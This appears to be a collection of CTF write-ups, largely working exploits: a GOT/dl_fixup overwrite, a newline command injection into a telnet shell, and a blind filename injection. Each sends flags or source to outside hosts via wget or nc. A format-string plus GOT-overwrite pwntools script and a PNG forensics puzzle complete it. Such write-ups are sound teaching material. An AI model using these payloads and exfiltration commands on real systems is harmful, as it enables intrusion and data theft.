This challenge was solved by one of my teammates, @kutyacica and me and the write up was written by me.

This was a binary which read 1024 bytes from stdin to BSS and indexes into the buffer with the buffer’s first 8 bytes as an index and writes to that position \x10\x00\x00\x00\x00\x00\x00\x00 and the buffer’s 8-16 bytes.

As the index is signed, we can use negative numbers and write to address before the buffer. Although we could only use 16-byte aligned addresses.

So we overwrite the GOT loading structures which caused the dl_fixup to overwrite arbitrary memory. As we did not know the address of the system, we also had to make dl_fixup to calculate for us. Fortunately it could be done as it called add instruction on some of our inputs. So we queried the __libc_start_main’s address (already in GOT: 0x600B80) and added the difference to main (system-start_main = 0x46640-0x21dd0 = 0x24870).

As the stdin, stdout, stderr was closed, we used a simple wget callback to our server: http://cuby.hu/x/\$(cat flag|base64).

The exploit was:

while true; do python -c "from pwn import *; bufStart=0x600bd0; where1=p64(0x24870); 
where2='X'*8; what='B'*8; yval=p64(0x600B80-8); y=p64(bufStart+8*8); rdi=p64(bufStart+400); 
payload='\x80'+'\xff'*7 + p64(bufStart) + where1 + rdi + where2 + p64(7) + yval*9 + 
p64(bufStart) + y + p64(0x42)*16 + p64(bufStart+248) + p64(bufStart-8) + p64(bufStart+272) + 
'A'*4 + '\x0a\x03\xFF\xFF' + what + p64(0x43)*13 + 'A'*8 + 
'wget http://cuby.hu/x/\$(cat flag|base64);sleep 10;'; 
print payload+cyclic(1024-len(payload))"|nc 52.68.211.239 10000; sleep 0.1; done

This challenge was solved by one of my teammates, nguyen and me and the write up was written by me.

Run this on one thread:

while true; do wget -qO- "http://52.68.245.164/?args[]=abc%0a&args[]=twistd&args[]=telnet" > /dev/null; done

This works because $ in regex allows \n too (\Z would not allow this), so it will run the following commands:

/bin/orange abc
twistd telnet

Connect on another thread: nc 52.68.245.164 4040 (this is the port of the twistd telnet service), user/pass: admin/changeme (default credentials) and execute this until you got the flag: import os;print os.popen("/read_flag").read();

python -c "import sys;sys.stdout.write(\"admin\r\nchangeme\r\nimport os;
print '%r'%os.popen('/read_flag').read();\r\n\")"|nc 52.68.245.164 4040

Sometimes you have to try it multiple times, because the process is killed very fast.

This challenge was solved by and the write up was written by teammates, nguyen and akg

Through testing to know it’s a blind cmd injection in filename of a file upload.

Set a host listen to a port and inject a cmd, ex: filename.txt; ls |nc ip port

To copy the source, find .. -iname '*gz'|xargs cat|nc ip port, analyze it, we have expl:

~  echo "cat /home/asis/flag.txt | nc ip port" | base64
<base64string>
~ a.txt| echo <base64string> | base64 -d | sh
ASIS{72a126946e40f67a04d926dd4786ff15}

We got a PNG file with a size of 15MB.

You cannot open the file as some programs simply freeze, others show out of memory exceptions, or other errors.

Loading into Wireshark for example shows the file’s basic information like it’s width and height.

alt

It is a very huge file, so that explains why we cannot open it earlier.

We have to make some educated guesses. Looking into the file contents you can see that the IDAT part of the file is full of zeros:

alt

So I used one of my helper method which gave me a quick summary of the contents of the file:

\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0d
IHDR\x00\x05C\x9b\x00\x05C\x9b\x01\x03\x00\x00\x00\xa5\xa5\x12\xb1\x00\x00\x00\x06
PLTE@\x00\xe0\xe0\x00@\xa3~c\xab\x00\xdb\xfd\xf1
IDATx\xda\xec\xc1\x01\x0d\x00\x00\x00\xc2\xa0\xf7Om\x0f\x07\x04\x0c
<7207787x00>
\xbc\x19\x00\x00\x00\xff\xff...\xa0\xf7Om\x10\x81\x0c
<7207829x00>
\xe0\xd5\x00\x00\x00\xff\xff\x01\x00\x00\xff\xffn\x1f\xdb\x89\x8e.\xf3\xe9\x00\x00\x00\x00
IEND\xaeB`\x82

The IDAT header contains zlib compressed data (as this is the only supported encoding method). So there is some information in the middle of the file.

As the file’s BitDepth is 1, this means the 1 byte contains 8 pixel information, so the uncompressed RAW bitmap data is 344987 * (344987 // 8 + 1) = ~15Gb.

As I did not want to decompress this much data to my hard disk I wrote a C# script to seek into the middle of the image data (so to about 7.4GB) and read the middle of the file and extracted a few MB’s of RAW data.

I created a summary of this too:

<2154200x00>\xf1\xfc...36 bytes...\xcf\x0a
<43085x00>\xf1\xf9\x8...\xe7\x0a
<43085x00>\xf5\xf3\xef...\xcf\x0a
[...10 times again...]
<2154300x00>

What we see is 40 bytes data in the middle of every row. So I simply recovered these bits with the following code snippet:

long strideLen = 344987 / 8 + 1 + 1;
for (int i = 0; i < 16; i++)
    rows.Add(Conversion.BytesToHex(png2.Skip(baseOffset + i * (int)strideLen + 21542).Take(40).ToArray()));

And converted the bytes to bits aka. pixels in this case (with my web-based conversion toolset hosted on https://kt.pe/tools.html) and replaced “1” characters with space “ “ to make it more readable:

....000       00000     0    00000      0             000     0000        00    00   000               000      000    0              0    000     000000      00                     0000      000      000     00           000000        0      00       00     000        00    00   000     0000     0000        00  00    
    000      00  000    0   00  000    0            000 00   00  00       00   00  000 00             00 00    00 00   0              0  000 00    0           00                    00  00    00 00   000 00   00            0             0      00       00    00 00       00   00   00 00   00  00   00  00       00   00   
    0 0     00     0    0  00     0    0            00   00  0    00     000   00  00   00           00   00  00   00  0              0  00   00  00          000                    0    00  00   00  00   00  00           00             0     000      000   00   00     000   00  00   00  0    00  0    00     000    0   
   00 00    00     0    0  00     0    0     000    00   00  0    00    0000  0000 00   00   00000   0        0    00  0 000     0000 0  00   00  00         0000    0000    00000   0     0  0    00  0     0 0000  00000   00        0000 0    0000     0000   0          0000  0000 0    00  0    00  0     0    0000    0   
   0  00    000         0  000         0    00 00   00   0        0     0 00   00  00   0   000 00   0 000    0     0  000 000  00  000  00   0   00000      0 00   00  00  000 00   0    00  0     0       00  00  000 00   00000    00  000    0 00     0 00   0 000      0 00   00  0     0       0   0    00    0 00    0   
   0   0     00000      0   00000      0   00   00   00000      000    0  00   00   00000   0    00  000 00   0     0  00   00  0    00   00000   00  00    0  00   0    0  0    00  00   00  0     0       00  00  0    00  00  00   0    00   0  00    0  00   000 00    0  00   00  0     0     000   00   00   0  00    0   
  00   00       0000    0      0000    0   0     0  00   00       00  00  00   00  00   00       00  00   00  0     0  0     0  0    00  00   00       00  00  00   0            00   000000  0     0     000   00       00       00  0    00  00  00   00  00   00   00  00  00   00  0     0       00   000000  00  00    0   
  0000000          00   0         00  00   0000000  0     0       00  0   00   00  0     0   000000  0     0  0     0  0     0 00     0  0     0        0  0   00   0        000000        0  0     0    00     00   000000        0 00     0  0   00   0   00   0     0  0   00   00  0     0       00        0  0   00    00  
 00     0   0      00   0  0      00  0    0        0     0  0     0 00000000  00  0     0  00   00  0     0  0    00  0     0  0    00  0     0        0 00000000  0       00   00       00  0    00   00      00  00   00        0  0    00 00000000 00000000  0     0 00000000  00  0    00  0     0       00 00000000   00  
 00     00  00     00   0  00     00   0   0     0  0    00  0    00      00   00  0    00  0    00  00   00  00   00  00   00  0    00  0    00  0    00      00   0    0  0    00  00   0   00   00  00       00  0    00  0    00  0    00      00       00   00   00      00   00  00   00  0    00  00   0       00    0   
 0      00   000  00    0   000  00    0    00 00   000 00   00  00       00   00  000 00   00  000   00 00    00 00   000 00   000 000  000 00   00  00       00   00  00  00  000  00  00    00 00   00       00  00  000  00  00   000 000      00       00    00 00       00   00   00 00   00  00   00  00       00    0   
00       0    00000     0    00000     0     000     0000     0000        00   00   0000     000  00   000      000    0 000     0000 0   0000     0000        00    0000    000  00  0000      000    0000000  00   000  00  0000     0000 0      00       00     000        00   00    000     0000     0000        00    0   

The flag was:

ASIS{e834f8a60bd854ca902fa5d4464f0394}

This challenge was solved by and the write up was written by one of my teammates, tukan

We were given an x64 ELF binary and the corresponding libc. It had most protections enabled but still had writeable .got entries.

Reversing the challenge revealed that:

  • the binary sniffs trafic via libpcap.
  • processes only icmp and tcp/80 traffic.
  • the icmp handler contains an information leak via a format string bug.
  • the tcp handler contains a buffer overflow inside the structure allocated for tcp connections, allowing us to modify pointers later used as destination addresses for memcpy calls with attacker-controlled source data.

The relevant parts of the struct:

struct connection {
	char hostname[256];
	char *username;
	char *password;
	...
}

The exploitation plan is as follows:

  • leak pointers to libc and the binary from the stack using the format string bug.
  • overwrite the username pointer in the connection struct with the address of the strstr .got entry.
  • overwrite the strstr got entry (called on attacker-controlled data in the tcp handler) via the address of system from libc.
  • read the flag using the the shell command: “. ./flag” (made possible by stderr coming back from the binary)

alt

The flag was:

ASIS{9327c8a200259781799e2a1a4966a371}

Exploit

(not stable, you probably have to run multiple times)

#! /usr/bin/env python
from pwn import *
from scapy.all import *

# LIVE = False
LIVE = True
def round():
    if LIVE:
        HOST = '185.82.202.66'
        r = remote(HOST, 2222)      # knocking
    else:
        HOST = '192.168.0.22'

    print 'HOST: ', HOST

    context.update(arch='amd64', os='linux')

    def leakit():
        payload = '%x'*10 + 'ZZZ' + '%p' + 'YYY' + '%x'* 6 + 'KKK%pLLL' + '%x'*112  + 'AAA' + '%p' + 'BBB' +'a'*440
        print 'payloadlen: ', len(payload)
        p = sr1(IP(dst=HOST)/ICMP()/payload, timeout=2)
        if not p:
            return None, None, None
        resp = str(p[Raw])
        print 'Resp: ', resp, len(resp)
        cookie = resp.split('ZZZ')[1].split('YYY')[0]
        cookie = int(cookie, 16)
        bin_addr = resp.split('KKK')[1].split('LLL')[0]
        bin_addr = int(bin_addr, 16)
        libc_addr = resp.split('AAA')[1].split('BBB')[0]
        libc_addr = int(libc_addr, 16)

        return bin_addr, libc_addr, cookie


    bin_addr, libc_addr, cookie = leakit()
    if not bin_addr:
        return
    print 'bin: ', hex(bin_addr)
    print 'libc: ', hex(libc_addr)
    print 'Cookie: ', hex(cookie)

    libc_diff = 0x7ffff7833ec5 - 0x00007ffff7812000
    libc_base = libc_addr - libc_diff
    system_offset = 0x0000000000046640
    system = libc_base + system_offset
    bin_diff = 0x182C
    bin_base = bin_addr - bin_diff
    strstr_offset = 0x203128
    strstr = bin_base + strstr_offset


    payload = 'Host: ' + cyclic(256) + p64(strstr) + '\r\nusername=' + p64(system) + '&password=' + 'A'*6 + '\r\n'
    q = send(IP(dst=HOST)/TCP(dport=80)/payload)
    # q = send(IP(dst=HOST)/TCP(dport=80)/'echo kaosdkas > /tmp/lolci #')
    q = send(IP(dst=HOST)/TCP(dport=80)/'. ./flag')
    r.interactive()

round()